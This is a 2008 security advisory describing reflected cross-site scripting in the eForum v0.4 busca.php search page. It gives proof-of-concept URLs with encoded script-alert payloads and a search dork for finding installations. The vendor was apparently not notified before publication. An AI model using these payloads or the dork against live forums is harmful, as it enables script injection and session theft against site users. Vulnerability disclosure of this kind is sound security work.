eforum-xss.txt

` eForum v0.4 - NON-PERSISTENT XSS  
by Omni  
  
1) Infos  
---------  
Date : 2008-03-05  
Product : eForum  
Version : v 0.4  
Vendor : http://www.phpbrasil.com/scripts/script.php/id/169  
Vendor Status :  
2008-03-18 Not Informed!  
2008-03-18 Published!  
  
  
Description :   
eForum is an easy-to-install discussion board that doesn't require any database. Features include admin area to delete  
topics with session authentication, a search system (more stable this version), configurable layout using css file.  
Moderator can be notified of new posts on the forum. It has threaded view. Ubbcode-style supported. Multiple languages  
supported: Portuguese, English, German and Danish. UPDATE 0.4: post preview, better ubbcode support, better javascript,  
other small changes, some bugs fixed, italian and turkish translations.  
  
Dork : Powered by .. could be used.  
Source : omnipresent - omni - http://omni.playhack.org  
  
E-mail : omnipresent[at]NOSPAMemail[dot]it - omni[at]NOSPAMplayhack[dot]net  
  
  
2) Security Issues  
-------------------  
  
  
--- [ NON-PERSISTENT XSS ] ---  
===============================================  
  
Input passed to "busca" and "link" parameters in busca.php are not properly sanitized before being returned to the   
user's browser.  
  
This can be exploited to execute arbitrary HTML/script code.  
  
--- [ PoC ] ---  
===============  
  
http://localhost/eForum/busca.php  
use the input box and search what you want. (js)  
  
http://localhost/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E&busca=%3Cscript%3Ealert(2)%3C/script%3E  
  
http://localhost/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E  
  
  
--- [ Patch ] ---  
===============  
- Edit the source code.  
`